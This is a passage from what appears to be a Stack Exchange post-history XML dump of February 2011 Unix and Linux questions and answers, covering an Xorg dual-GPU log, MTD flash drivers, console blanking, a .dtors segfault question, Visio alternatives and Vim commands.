05.70.02.41.01&#xD;&#xA;    (II) NVIDIA(0): Detected PCI Express Link width: 16X&#xD;&#xA;    (--) NVIDIA(0): Interlaced video modes are supported on this GPU&#xD;&#xA;    (--) NVIDIA(0): Connected display device(s) on Quadro FX 4500 at PCI:10:0:0:&#xD;&#xA;    (--) NVIDIA(0):     DELL 3007WFP (DFP-0)&#xD;&#xA;    (--) NVIDIA(0): DELL 3007WFP (DFP-0): 310.0 MHz maximum pixel clock&#xD;&#xA;    (--) NVIDIA(0): DELL 3007WFP (DFP-0): Internal Dual Link TMDS&#xD;&#xA;    (II) NVIDIA(0): Assigned Display Device: DFP-0&#xD;&#xA;    (II) NVIDIA(0): Validated modes:&#xD;&#xA;    (II) NVIDIA(0):     &quot;nvidia-auto-select+0+0&quot;&#xD;&#xA;    (II) NVIDIA(0): Virtual screen size determined to be 2560 x 1600&#xD;&#xA;    (--) NVIDIA(0): DPI set to (101, 101); computed from &quot;UseEdidDpi&quot; X config&#xD;&#xA;    (--) NVIDIA(0):     option&#xD;&#xA;    (WW) NVIDIA(0): UBB is incompatible with the Composite extension.  Disabling&#xD;&#xA;    (WW) NVIDIA(0):     UBB.&#xD;&#xA;    (==) NVIDIA(0): Disabling 32-bit ARGB GLX visuals.&#xD;&#xA;    (--) Depth 24 pixmap format is 32 bpp&#xD;&#xA;    (II) do I need RAC?  No, I don't.&#xD;&#xA;    (II) resource ranges after preInit:&#xD;&#xA;        [0] -1  0   0x00100000 - 0x3fffffff (0x3ff00000) MX[B]E(B)&#xD;&#xA;        [1] -1  0   0x000f0000 - 0x000fffff (0x10000) MX[B]&#xD;&#xA;        [2] -1  0   0x000c0000 - 0x000effff (0x30000) MX[B]&#xD;&#xA;        [3] -1  0   0x00000000 - 0x0009ffff (0xa0000) MX[B]&#xD;&#xA;        [4] -1  0   0xf5000000 - 0xf5003fff (0x4000) MX[B]&#xD;&#xA;        [5] -1  0   0xf5004000 - 0xf50047ff (0x800) MX[B]&#xD;&#xA;        [6] -1  0   0xf5104000 - 0xf5104fff (0x1000) MX[B]&#xD;&#xA;        [7] -1  0   0xf5103000 - 0xf5103fff (0x1000) MX[B]&#xD;&#xA;        [8] -1  0   0xf5102000 - 0xf5102fff (0x1000) MX[B]&#xD;&#xA;        [9] -1  0   0xf5101000 - 0xf5101fff (0x1000) MX[B]&#xD;&#xA;        [10] -1 0   0xfebf0000 - 0xfebf00ff (0x100) MX[B]&#xD;&#xA;        [11] -1 0   0xf5100000 - 0xf5100fff (0x1000) MX[B]&#xD;&#xA;        [12] -1 0   0xf4000000 - 0xf4ffffff (0x1000000) MX[B](B)&#xD;&#xA;        [13] -1 0   0xc0000000 - 0xcfffffff (0x10000000) MX[B](B)&#xD;&#xA;        [14] -1 0   0xf3000000 - 0xf3ffffff (0x1000000) MX[B](B)&#xD;&#xA;        [15] 0  0   0x000a0000 - 0x000affff (0x10000) MS[B]&#xD;&#xA;        [16] 0  0   0x000b0000 - 0x000b7fff (0x8000) MS[B]&#xD;&#xA;        [17] 0  0   0x000b8000 - 0x000bffff (0x8000) MS[B]&#xD;&#xA;        [18] -1 0   0x0000ffff - 0x0000ffff (0x1) IX[B]&#xD;&#xA;        [19] -1 0   0x00000000 - 0x000000ff (0x100) IX[B]&#xD;&#xA;        [20] -1 0   0x000048f0 - 0x000048f7 (0x8) IX[B]&#xD;&#xA;        [21] -1 0   0x000048c0 - 0x000048cf (0x10) IX[B]&#xD;&#xA;        [22] -1 0   0x00004c04 - 0x00004c07 (0x4) IX[B]&#xD;&#xA;        [23] -1 0   0x000048e8 - 0x000048ef (0x8) IX[B]&#xD;&#xA;        [24] -1 0   0x00004c00 - 0x00004c03 (0x4) IX[B]&#xD;&#xA;        [25] -1 0   0x000048e0 - 0x000048e7 (0x8) IX[B]&#xD;&#xA;        [26] -1 0   0x000048b0 - 0x000048bf (0x10) IX[B]&#xD;&#xA;        [27] -1 0   0x000048fc - 0x000048ff (0x4) IX[B]&#xD;&#xA;        [28] -1 0   0x000048d8 - 0x000048df (0x8) IX[B]&#xD;&#xA;        [29] -1 0   0x000048f8 - 0x000048fb (0x4) IX[B]&#xD;&#xA;        [30] -1 0   0x000048d0 - 0x000048d7 (0x8) IX[B]&#xD;&#xA;        [31] -1 0   0x000048a0 - 0x000048af (0x10) IX[B]&#xD;&#xA;        [32] -1 0   0x00004400 - 0x000044ff (0x100) IX[B]&#xD;&#xA;        [33] -1 0   0x00004000 - 0x000040ff (0x100) IX[B]&#xD;&#xA;        [34] -1 0   0x00004840 - 0x0000487f (0x40) IX[B]&#xD;&#xA;        [35] -1 0   0x00004800 - 0x0000483f (0x40) IX[B]&#xD;&#xA;        [36] -1 0   0x00004880 - 0x0000489f (0x20) IX[B]&#xD;&#xA;        [37] -1 0   0x0000fb00 - 0x0000fbff (0x100) IX[B]&#xD;&#xA;        [38] -1 0   0x00003000 - 0x0000307f (0x80) IX[B](B)&#xD;&#xA;        [39] 0  0   0x000003b0 - 0x000003bb (0xc) IS[B]&#xD;&#xA;        [40] 0  0   0x000003c0 - 0x000003df (0x20) IS[B]&#xD;&#xA;    (II) NVIDIA(GPU-1): NVIDIA GPU Quadro FX 4500 (G70GL) at PCI:129:0:0 (GPU-1)&#xD;&#xA;    (--) NVIDIA(GPU-1): Memory: 524288 kBytes&#xD;&#xA;    (--) NVIDIA(GPU-1): VideoBIOS: 05.70.02.41.01&#xD;&#xA;    (II) NVIDIA(GPU-1): Detected PCI Express Link width: 16X&#xD;&#xA;    (--) NVIDIA(GPU-1): Interlaced video modes are supported on this GPU&#xD;&#xA;    (--) NVIDIA(GPU-1): Connected display device(s) on Quadro FX 4500 at PCI:129:0:0:&#xD;&#xA;    (--) NVIDIA(GPU-1):     DELL 3007WFP (DFP-0)&#xD;&#xA;    (--) NVIDIA(GPU-1): DELL 3007WFP (DFP-0): 310.0 MHz maximum pixel clock&#xD;&#xA;    (--) NVIDIA(GPU-1): DELL 3007WFP (DFP-0): Internal Dual Link TMDS&#xD;&#xA;    (II) NVIDIA(0): Initialized GPU GART.&#xD;&#xA;    (II) NVIDIA(0): Setting mode &quot;nvidia-auto-select+0+0&quot;&#xD;&#xA;    (II) Loading extension NV-GLX&#xD;&#xA;    (II) NVIDIA(0): NVIDIA 3D Acceleration Architecture Initialized&#xD;&#xA;    (==) NVIDIA(0): Disabling shared memory pixmaps&#xD;&#xA;    (II) NVIDIA(0): Using the NVIDIA 2D acceleration architecture&#xD;&#xA;    (==) NVIDIA(0): Backing store disabled&#xD;&#xA;    (==) NVIDIA(0): Silken mouse enabled&#xD;&#xA;    (**) Option &quot;dpms&quot;&#xD;&#xA;    (**) NVIDIA(0): DPMS enabled&#xD;&#xA;    (II) Loading extension NV-CONTROL&#xD;&#xA;    (==) RandR enabled&#xD;&#xA;    (II) Setting vga for screen 0.&#xD;&#xA;    (II) Initializing built-in extension MIT-SHM&#xD;&#xA;    (II) Initializing built-in extension XInputExtension&#xD;&#xA;    (II) Initializing built-in extension XTEST&#xD;&#xA;    (II) Initializing built-in extension XKEYBOARD&#xD;&#xA;    (II) Initializing built-in extension XC-APPGROUP&#xD;&#xA;    (II) Initializing built-in extension SECURITY&#xD;&#xA;    (II) Initializing built-in extension XINERAMA&#xD;&#xA;    (II) Initializing built-in extension XFIXES&#xD;&#xA;    (II) Initializing built-in extension XFree86-Bigfont&#xD;&#xA;    (II) Initializing built-in extension RENDER&#xD;&#xA;    (II) Initializing built-in extension RANDR&#xD;&#xA;    (II) Initializing built-in extension COMPOSITE&#xD;&#xA;    (II) Initializing built-in extension DAMAGE&#xD;&#xA;    (II) Initializing built-in extension XEVIE&#xD;&#xA;    (II) Initializing extension GLX&#xD;&#xA;    (WW) Disabling Composite since Xinerama is enabled&#xD;&#xA;    (**) Option &quot;CoreKeyboard&quot;&#xD;&#xA;    (**) Keyboard0: Core Keyboard&#xD;&#xA;    (**) Option &quot;Protocol&quot; &quot;standard&quot;&#xD;&#xA;    (**) Keyboard0: Protocol: standard&#xD;&#xA;    (**) Option &quot;AutoRepeat&quot; &quot;500 30&quot;&#xD;&#xA;    (**) Option &quot;XkbRules&quot; &quot;xorg&quot;&#xD;&#xA;    (**) Keyboard0: XkbRules: &quot;xorg&quot;&#xD;&#xA;    (**) Option &quot;XkbModel&quot; &quot;pc105&quot;&#xD;&#xA;    (**) Keyboard0: XkbModel: &quot;pc105&quot;&#xD;&#xA;    (**) Option &quot;XkbLayout&quot; &quot;us&quot;&#xD;&#xA;    (**) Keyboard0: XkbLayout: &quot;us&quot;&#xD;&#xA;    (**) Option &quot;CustomKeycodes&quot; &quot;off&quot;&#xD;&#xA;    (**) Keyboard0: CustomKeycodes disabled&#xD;&#xA;    (**) Option &quot;Protocol&quot; &quot;auto&quot;&#xD;&#xA;    (**) Mouse0: Device: &quot;/dev/input/mice&quot;&#xD;&#xA;    (**) Mouse0: Protocol: &quot;auto&quot;&#xD;&#xA;    (**) Option &quot;CorePointer&quot;&#xD;&#xA;    (**) Mouse0: Core Pointer&#xD;&#xA;    (**) Option &quot;Device&quot; &quot;/dev/input/mice&quot;&#xD;&#xA;    (**) Option &quot;Emulate3Buttons&quot; &quot;no&quot;&#xD;&#xA;    (**) Option &quot;ZAxisMapping&quot; &quot;4 5&quot;&#xD;&#xA;    (**) Mouse0: ZAxisMapping: buttons 4 and 5&#xD;&#xA;    (**) Mouse0: Buttons: 9&#xD;&#xA;    (II) XINPUT: Adding extended input device &quot;Mouse0&quot; (type: MOUSE)&#xD;&#xA;    (II) XINPUT: Adding extended input device &quot;Keyboard0&quot; (type: KEYBOARD)&#xD;&#xA;    (--) Mouse0: PnP-detected protocol: &quot;ExplorerPS/2&quot;&#xD;&#xA;    (II) Mouse0: ps2EnableDataReporting: succeeded&#xD;&#xA;    (II) Open ACPI successful (/var/run/acpid.socket)&#xD;&#xA;    (II) NVIDIA(0): Setting mode &quot;nvidia-auto-select+0+0&quot;&#xD;&#xA;    (II) Mouse0: ps2EnableDataReporting: succeeded&#xD;&#xA;&#xD;&#xA;(the snipped part can be changed if necessary)&#xD;&#xA;&#xD;&#xA;Any help at all would be appreciated.&#xD;&#xA;&#xD;&#xA;Cheers,  &#xD;&#xA;Alex" />
  <row Id="18948" PostHistoryTypeId="1" PostId="8054" RevisionGUID="9129f5f0-3f0c-4f6d-9f49-84b9bd12abf7" CreationDate="2011-02-24T23:40:12.333" UserId="3764" Text="How do I set up dual quadro cards in RHEL 5.5" />
  <row Id="18949" PostHistoryTypeId="3" PostId="8054" RevisionGUID="9129f5f0-3f0c-4f6d-9f49-84b9bd12abf7" CreationDate="2011-02-24T23:40:12.333" UserId="3764" Text="érhelàédualömonitoràénvidiaà" />
  <row Id="18950" PostHistoryTypeId="6" PostId="8054" RevisionGUID="1d54f3bb-3415-4030-aac5-f30fab59f474" CreationDate="2011-02-24T23:43:52.873" UserId="885" Comment="edited tags" Text="éxorgàérhelàédualömonitoràénvidiaà" />
  <row Id="18951" PostHistoryTypeId="2" PostId="8055" RevisionGUID="510edb64-2b0c-4a36-8ea7-bbc7034a6455" CreationDate="2011-02-24T23:55:32.823" UserId="3389" Text="I have a USB card reader, an Olympus MAUSB-10.  It provides direct flash access to SmartMedia or xD cards, using the Linux `alauda` driver.  This is different from a typical card reader which just exposes it as a standard USB mass storage device.&#xD;&#xA;&#xD;&#xA;There's drivers in the Linux kernel that will do the FTL thing and expose this as a standard block device, but I want direct flash access.  I was wondering if it's possible to use the various utilites of `mtd-tools` to read, write, and erase directly to it.&#xD;&#xA;&#xD;&#xA;So the device is recognized by `lsusb`, and drivers `aluada` and `nand_ecc` are loaded.  But `cat /proc/mtd` isn't revealing another MTD device available, and I don't see any additional devices in `/dev`.  How do I create a new mtd device and connect it to the alauda driver?" />
  <row Id="18952" PostHistoryTypeId="1" PostId="8055" RevisionGUID="510edb64-2b0c-4a36-8ea7-bbc7034a6455" CreationDate="2011-02-24T23:55:32.823" UserId="3389" Text="Connect alauda driver to an mtd deivce" />
  <row Id="18953" PostHistoryTypeId="3" PostId="8055" RevisionGUID="510edb64-2b0c-4a36-8ea7-bbc7034a6455" CreationDate="2011-02-24T23:55:32.823" UserId="3389" Text="élinuxàéflashàédriversàécardöreaderàémtdà" />
  <row Id="18954" PostHistoryTypeId="5" PostId="2895" RevisionGUID="939007b5-9296-4420-9748-7ae2926b338c" CreationDate="2011-02-25T00:18:36.887" UserId="688" Comment="rm greetings and apology; added 1 characters in body" Text="It's part of the [Unix philosophy][1]. The idea is that text files are free from program lock-in and everyone can use whatever technique they prefer. To take this further, flat files are often used, as opposed to markup languages like XML (although I have seen programs storing things in XML format as well).&#xD;&#xA;&#xD;&#xA;In googling I have found this [nice writeup][2] about plain text, with comments about the Unix philosophy.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Unix_philosophy#Mike_Gancarz:_The_UNIX_Philosophy&#xD;&#xA;  [2]: http://www.linfo.org/plain_text.html" />
  <row Id="18955" PostHistoryTypeId="2" PostId="8056" RevisionGUID="3f2dbe47-eba5-4869-aac6-70de9ebd0b82" CreationDate="2011-02-25T00:21:22.780" UserId="5096" Text="I'm running linux clusters, mostly on SLES10. The servers are mostly blades, accessed via remote console. There is a real console in the server room, but switched off.&#xD;&#xA;&#xD;&#xA;I would like to disable the screen blanking as it serves no purpose and is a&#xD;&#xA;nuisance. You have to press key to see if you are connected which is a pain. We are running in runlevel 3, so the console is in text mode, no X11 involved." />
  <row Id="18956" PostHistoryTypeId="1" PostId="8056" RevisionGUID="3f2dbe47-eba5-4869-aac6-70de9ebd0b82" CreationDate="2011-02-25T00:21:22.780" UserId="5096" Text="Disable screen blanking on text console" />
  <row Id="18957" PostHistoryTypeId="3" PostId="8056" RevisionGUID="3f2dbe47-eba5-4869-aac6-70de9ebd0b82" CreationDate="2011-02-25T00:21:22.780" UserId="5096" Text="élinuxàésuseà" />
  <row Id="18958" PostHistoryTypeId="2" PostId="8057" RevisionGUID="801b9216-0a16-40bc-8750-4e04b3da058b" CreationDate="2011-02-25T00:24:59.253" UserId="4628" Text="Try using this:&#xD;&#xA;&#xD;&#xA;    setterm -blank" />
  <row Id="18959" PostHistoryTypeId="6" PostId="8056" RevisionGUID="5a6f92f9-0eca-4d90-868b-0162c0534bf2" CreationDate="2011-02-25T00:32:42.847" UserId="885" Comment="edited tags" Text="élinuxàéterminalàésuseà" />
  <row Id="18960" PostHistoryTypeId="2" PostId="8058" RevisionGUID="136beba6-7e86-452e-a246-84b9189c2b5f" CreationDate="2011-02-25T01:15:02.760" UserId="5096" Text="I've implemented and tested the following configuration, which works fine on sles10, my workhorse at the moment.&#xD;&#xA;&#xD;&#xA;In&#xD;&#xA;&#xD;&#xA;    /etc/init.d/boot.local&#xD;&#xA;&#xD;&#xA;add&#xD;&#xA;&#xD;&#xA;    setterm -blank&#xD;&#xA;&#xD;&#xA;it looks like that is all it takes. Thanks for Uku Loskit and Gilles for the push in the right direction." />
  <row Id="18961" PostHistoryTypeId="2" PostId="8059" RevisionGUID="88ee5ecb-5da9-47f3-bd33-0675dfdd6046" CreationDate="2011-02-25T01:49:24.450" UserId="898" Text="As others have commented, the solution is to run `sudo update-grub` from Crunchbang and the next time you boot, windows should be present in the grub boot list." />
  <row Id="18962" PostHistoryTypeId="5" PostId="7967" RevisionGUID="ee5de37a-5d14-4024-a78f-dba4f386b66f" CreationDate="2011-02-25T02:10:46.620" UserId="5075" Comment="add info." Text="Because my wireless network adapter does not support bridging, it is really difficult to get the guest vm connect to the open internet and have an IP address in the same network as the host. I am using ubuntu 10.10, and the kvm version does not support vde, so it becomes even more difficult. How can I fix that?&#xD;&#xA;&#xD;&#xA;@stribika's idea is great, but I would prefer to let my VMs connect to the same network as my host. e.g. my host network is 192.168.1.0, and I want my VM's network to be the same." />
  <row Id="18963" PostHistoryTypeId="25" PostId="8056" RevisionGUID="155a0717-ffbf-413b-87e6-71ca1d88e5ba" CreationDate="2011-02-25T02:23:24.343" Comment="http://twitter.com/#!/StackUnix/status/40960019579150336" />
  <row Id="18964" PostHistoryTypeId="2" PostId="8060" RevisionGUID="cd0971bc-a9d3-4a15-8080-85aba03bf383" CreationDate="2011-02-25T02:58:27.763" UserId="-1" Text="" />
  <row Id="18965" PostHistoryTypeId="2" PostId="8061" RevisionGUID="c02bb6bc-64fe-4441-9f2a-14e074a9ea07" CreationDate="2011-02-25T02:58:27.763" UserId="-1" Text="" />
  <row Id="18966" PostHistoryTypeId="2" PostId="8062" RevisionGUID="82cab2b9-a1e7-4029-8e45-29b2dc980272" CreationDate="2011-02-25T02:59:25.047" UserId="4896" Text="This is Ubuntu 9.04, 2.6.28-11-server, 32bit x86&#xD;&#xA;&lt;pre&gt;&lt;code&gt;&#xD;&#xA;$ cat test.c&#xD;&#xA;main() { int *dt = (int *)0x08049f18; *dt = 1; }&#xD;&#xA;$ readelf -S ./test&#xD;&#xA;...&#xD;&#xA;  [18] .dtors            PROGBITS        08049f14 000f14 000008 00  WA  0   0  4&#xD;&#xA;...&#xD;&#xA;$ ./test&#xD;&#xA;Segmentation fault&#xD;&#xA;$&#xD;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;For the uninitiated: gcc creates a destructor segment, `.dtors`, in the elf executable, which is called after `main()` exits.  This table has long been writable, and it looks like it should be in my case (see `readelf` output).  But attempting to write to the table causes a segfault.&#xD;&#xA;&#xD;&#xA;I realize there has been a movement toward readonly .dtors, plt, got lately, but what I don't understand is the mismatch between `readelf` and the segfault." />
  <row Id="18967" PostHistoryTypeId="1" PostId="8062" RevisionGUID="82cab2b9-a1e7-4029-8e45-29b2dc980272" CreationDate="2011-02-25T02:59:25.047" UserId="4896" Text=".dtors looks writable, but attempts to write segfault" />
  <row Id="18968" PostHistoryTypeId="3" PostId="8062" RevisionGUID="82cab2b9-a1e7-4029-8e45-29b2dc980272" CreationDate="2011-02-25T02:59:25.047" UserId="4896" Text="émemoryàégccàésegmentationöfaultà" />
  <row Id="18969" PostHistoryTypeId="2" PostId="8063" RevisionGUID="f51ac493-a4e7-4b56-9976-31aabcd2e28d" CreationDate="2011-02-25T03:01:30.570" UserId="-1" Text="" />
  <row Id="18970" PostHistoryTypeId="2" PostId="8064" RevisionGUID="35b48369-6eb6-44c1-9852-913d7425a280" CreationDate="2011-02-25T03:01:30.570" UserId="-1" Text="" />
  <row Id="18971" PostHistoryTypeId="2" PostId="8065" RevisionGUID="c13e0b5b-85a9-4369-b09f-66520add10b4" CreationDate="2011-02-25T03:04:17.167" UserId="-1" Text="" />
  <row Id="18972" PostHistoryTypeId="2" PostId="8066" RevisionGUID="ba8ffb9a-443e-4b78-b0a4-20d08d492b28" CreationDate="2011-02-25T03:04:17.167" UserId="-1" Text="" />
  <row Id="18973" PostHistoryTypeId="2" PostId="8067" RevisionGUID="aa4361ce-f942-46e1-baba-39f77a6d5189" CreationDate="2011-02-25T03:05:18.787" UserId="-1" Text="" />
  <row Id="18974" PostHistoryTypeId="2" PostId="8068" RevisionGUID="fdedcb51-126a-422c-a01e-b8c03c94154b" CreationDate="2011-02-25T03:05:18.787" UserId="-1" Text="" />
  <row Id="18975" PostHistoryTypeId="2" PostId="8069" RevisionGUID="977ee30d-0513-4f9c-b173-782f3fe70fe1" CreationDate="2011-02-25T03:06:56.290" UserId="-1" Text="" />
  <row Id="18976" PostHistoryTypeId="2" PostId="8070" RevisionGUID="50209da9-9be5-47ff-b4df-e855572dc119" CreationDate="2011-02-25T03:06:56.290" UserId="-1" Text="" />
  <row Id="18977" PostHistoryTypeId="2" PostId="8071" RevisionGUID="fd18c142-7e8d-4051-9fcf-0b0096520ab3" CreationDate="2011-02-25T03:07:53.390" UserId="-1" Text="" />
  <row Id="18978" PostHistoryTypeId="2" PostId="8072" RevisionGUID="8b8feed1-6d6f-4b58-ae0b-4e06d8098233" CreationDate="2011-02-25T03:07:53.390" UserId="-1" Text="" />
  <row Id="18979" PostHistoryTypeId="2" PostId="8073" RevisionGUID="67b4075a-bb8f-4893-84f4-6c9dc6471b5e" CreationDate="2011-02-25T03:08:43.950" UserId="-1" Text="" />
  <row Id="18980" PostHistoryTypeId="2" PostId="8074" RevisionGUID="173e86bd-e986-4eba-be53-9ee44bbe35c5" CreationDate="2011-02-25T03:08:43.950" UserId="-1" Text="" />
  <row Id="18981" PostHistoryTypeId="2" PostId="8075" RevisionGUID="9cb3213a-5d38-4f1a-892e-111c4ee94723" CreationDate="2011-02-25T03:09:14.700" UserId="-1" Text="" />
  <row Id="18982" PostHistoryTypeId="2" PostId="8076" RevisionGUID="9256a01a-a8f4-4510-87b9-8b492971d836" CreationDate="2011-02-25T03:09:14.700" UserId="-1" Text="" />
  <row Id="18983" PostHistoryTypeId="2" PostId="8077" RevisionGUID="1c68d636-eea4-49a0-8804-5402277ba7ee" CreationDate="2011-02-25T03:10:33.887" UserId="-1" Text="" />
  <row Id="18984" PostHistoryTypeId="2" PostId="8078" RevisionGUID="8e8d0f93-4479-45e3-87df-8b8ee1a81bfa" CreationDate="2011-02-25T03:10:33.887" UserId="-1" Text="" />
  <row Id="18985" PostHistoryTypeId="2" PostId="8079" RevisionGUID="f0f37b19-0d4f-4c7e-b8c8-4cabb1048d0d" CreationDate="2011-02-25T03:12:10.330" UserId="-1" Text="" />
  <row Id="18986" PostHistoryTypeId="2" PostId="8080" RevisionGUID="962b278f-9207-4614-b9c3-1a6b13b88771" CreationDate="2011-02-25T03:12:10.330" UserId="-1" Text="" />
  <row Id="18987" PostHistoryTypeId="2" PostId="8081" RevisionGUID="eb5af206-5501-4c3f-9120-2e9abc53fa7a" CreationDate="2011-02-25T03:13:42.763" UserId="-1" Text="" />
  <row Id="18988" PostHistoryTypeId="2" PostId="8082" RevisionGUID="d3eaed45-f1d5-4680-a7ae-7dea24c9d777" CreationDate="2011-02-25T03:13:42.763" UserId="-1" Text="" />
  <row Id="18989" PostHistoryTypeId="2" PostId="8083" RevisionGUID="e78ce7f4-b4ad-49ad-b68c-adfe825d5953" CreationDate="2011-02-25T03:13:56.880" UserId="-1" Text="" />
  <row Id="18990" PostHistoryTypeId="2" PostId="8084" RevisionGUID="3d9eef8d-d640-49ad-9a1c-beab6d5eb7f8" CreationDate="2011-02-25T03:13:56.880" UserId="-1" Text="" />
  <row Id="18991" PostHistoryTypeId="2" PostId="8085" RevisionGUID="bbec482a-cdbb-4caa-bd4e-0f6653e593b5" CreationDate="2011-02-25T03:15:15.290" UserId="-1" Text="" />
  <row Id="18992" PostHistoryTypeId="2" PostId="8086" RevisionGUID="6148e33c-ec91-4c2b-9e16-75617429af14" CreationDate="2011-02-25T03:15:15.290" UserId="-1" Text="" />
  <row Id="18993" PostHistoryTypeId="2" PostId="8087" RevisionGUID="a07fe829-366e-4d80-b353-be7d442f60b3" CreationDate="2011-02-25T03:16:04.570" UserId="-1" Text="" />
  <row Id="18994" PostHistoryTypeId="2" PostId="8088" RevisionGUID="8edf4d69-0c9a-4303-b986-fdc9146dcdce" CreationDate="2011-02-25T03:16:04.570" UserId="-1" Text="" />
  <row Id="18995" PostHistoryTypeId="2" PostId="8089" RevisionGUID="1a1eb6d0-999b-4ade-84b6-a4c5599834cf" CreationDate="2011-02-25T03:16:41.327" UserId="-1" Text="" />
  <row Id="18996" PostHistoryTypeId="2" PostId="8090" RevisionGUID="3d0ea067-1821-4d2b-981f-20c51c9d020f" CreationDate="2011-02-25T03:16:41.327" UserId="-1" Text="" />
  <row Id="18997" PostHistoryTypeId="2" PostId="8091" RevisionGUID="1c9eb2ad-cd88-4c31-a708-a7f5eaf7d420" CreationDate="2011-02-25T03:17:29.530" UserId="-1" Text="" />
  <row Id="18998" PostHistoryTypeId="2" PostId="8092" RevisionGUID="b4e75de8-2d77-4c8f-ad4d-4b1286bb7f0a" CreationDate="2011-02-25T03:17:29.530" UserId="-1" Text="" />
  <row Id="18999" PostHistoryTypeId="2" PostId="8093" RevisionGUID="f2c12247-b8e9-4d7a-9f53-50ad7fa428cb" CreationDate="2011-02-25T03:18:39.873" UserId="-1" Text="" />
  <row Id="19000" PostHistoryTypeId="2" PostId="8094" RevisionGUID="56f2d529-d305-4a91-a0b6-3fbc9fc3b7e0" CreationDate="2011-02-25T03:18:39.873" UserId="-1" Text="" />
  <row Id="19001" PostHistoryTypeId="2" PostId="8095" RevisionGUID="292a2954-44bc-462a-8c75-1a2a6f2ba80b" CreationDate="2011-02-25T03:24:33.897" UserId="-1" Text="" />
  <row Id="19002" PostHistoryTypeId="2" PostId="8096" RevisionGUID="75f65cf0-6cb6-4b3e-a543-5c42ebc4220e" CreationDate="2011-02-25T03:24:33.897" UserId="-1" Text="" />
  <row Id="19003" PostHistoryTypeId="2" PostId="8097" RevisionGUID="f501a687-af10-48b7-ac8b-bd52b92cc870" CreationDate="2011-02-25T03:39:09.647" UserId="3635" Text="Visio is a great tool for creating diagrams, flowcharts, prototyping, etc. But it is Windows-only and is not free. Are there any graphical tools for Linux that can do many of these same tasks well?" />
  <row Id="19004" PostHistoryTypeId="1" PostId="8097" RevisionGUID="f501a687-af10-48b7-ac8b-bd52b92cc870" CreationDate="2011-02-25T03:39:09.647" UserId="3635" Text="Linux equivalent for Microsoft Visio?" />
  <row Id="19005" PostHistoryTypeId="3" PostId="8097" RevisionGUID="f501a687-af10-48b7-ac8b-bd52b92cc870" CreationDate="2011-02-25T03:39:09.647" UserId="3635" Text="élinuxàéguià" />
  <row Id="19006" PostHistoryTypeId="2" PostId="8098" RevisionGUID="6ea57c16-93e5-4968-a835-31a4338be41d" CreationDate="2011-02-25T03:52:28.483" UserId="3635" Text="As intuited stated in his update, adding `term xterm` to the `~/.screenrc` file seems to fix this problem." />
  <row Id="19007" PostHistoryTypeId="2" PostId="8099" RevisionGUID="e1f14380-8ddd-4b78-bf05-4de7ced8ad86" CreationDate="2011-02-25T04:13:09.130" UserId="5100" Text="How about Pencil?&#xD;&#xA;&#xD;&#xA;http://pencil.evolus.vn/en-US/Home.aspx&#xD;&#xA;" />
  <row Id="19008" PostHistoryTypeId="2" PostId="8100" RevisionGUID="1e7730d7-24c8-4e0d-a840-34f6dfedf8ed" CreationDate="2011-02-25T04:26:41.743" UserId="5101" Text="There's Dia.. Not nearly as many features as Visio, but does diagrams: http://live.gnome.org/Dia" />
  <row Id="19009" PostHistoryTypeId="2" PostId="8101" RevisionGUID="aa8b0572-eecf-45b9-9ea5-bc0720c4673f" CreationDate="2011-02-25T04:33:25.190" UserId="5103" Text="For instance, &quot;:echo strftime(%c)&quot; will show the current time on the bottom, but how to insert this time string to the text(right after the cursor)?" />
  <row Id="19010" PostHistoryTypeId="1" PostId="8101" RevisionGUID="aa8b0572-eecf-45b9-9ea5-bc0720c4673f" CreationDate="2011-02-25T04:33:25.190" UserId="5103" Text="(In Vim)How to insert the result of a command into the text?" />
  <row Id="19011" PostHistoryTypeId="3" PostId="8101" RevisionGUID="aa8b0572-eecf-45b9-9ea5-bc0720c4673f" CreationDate="2011-02-25T04:33:25.190" UserId="5103" Text="évimà" />
  <row Id="19012" PostHistoryTypeId="2" PostId="8102" RevisionGUID="2f5f51f0-cf28-4d0d-80c6-9527e9911cac" CreationDate="2011-02-25T04:37:48.233" UserId="3169" Text="    :call append(line('.'), strftime(&quot;%c&quot;))&#xD;&#xA;&#xD;&#xA;Will put it on the next line, then you could press `J` (&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;J&lt;/kbd&gt;)to join it up to the current position." />
  <row Id="19014" PostHistoryTypeId="5" PostId="8102" RevisionGUID="4f976907-f14b-47b9-af98-f39c185ba92e" CreationDate="2011-02-25T04:43:40.283" UserId="3169" Comment="added 278 characters in body" Text="    :call append(line('.'), strftime(&quot;%c&quot;))&#xD;&#xA;&#xD;&#xA;Will put it on the next line, then you could press `J` (&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;J&lt;/kbd&gt;)to join it up to the current position.&#xD;&#xA;&#xD;&#xA;Or if you need it all in one command, you could do&#xD;&#xA;&#xD;&#xA;    :call setline(line('.'), getline(line('.')) . strftime(&quot;%c&quot;))&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    :call setline(line('.'), getline(line('.')) . &quot; &quot; . strftime(&quot;%c&quot;))&#xD;&#xA;&#xD;&#xA;depending on whether you want a space inserted before the date or not." />
  <row Id="19015" PostHistoryTypeId="5" PostId="8078" RevisionGUID="ee580840-cca8-4590-8ac9-936b3be5933a" CreationDate="2011-02-25T05:07:53.937" UserId="3635" Comment="added 85 characters in body" Text="apt-get - Command-line tool used to work with Ubuntu's Advanced Packaging Tool (APT)." />
  <row Id="19016" PostHistoryTypeId="24" PostId="8078" RevisionGUID="ee580840-cca8-4590-8ac9-936b3be5933a" CreationDate="2011-02-25T05:07:53.937" Comment="Proposed by 3635 approved by 73 edit id of 115" />
  <row Id="19017" PostHistoryTypeId="5" PostId="8092" RevisionGUID="241caf21-88d3-4d97-8b99-a3020a56265b" CreationDate="2011-02-25T05:07:55.730" UserId="3635" Comment="added 55 characters in body" Text="awk - pattern-directed scanning and processing language" />
  <row Id="19018" PostHistoryTypeId="24" PostId="8092" RevisionGUID="241caf21-88d3-4d97-8b99-a3020a56265b" CreationDate="2011-02-25T05:07:55.730" Comment="Proposed by 3635 approved by 73 edit id of 123" />
  <row Id="19019" PostHistoryTypeId="5" PostId="8072" RevisionGUID="1518e1bb-fc13-47c6-ba48-97c188e1cc82" CreationDate="2011-02-25T05:08:00.253" UserId="3635" Comment="added 65 characters in body" Text="The C programming language; used to write large portions of Unix." />
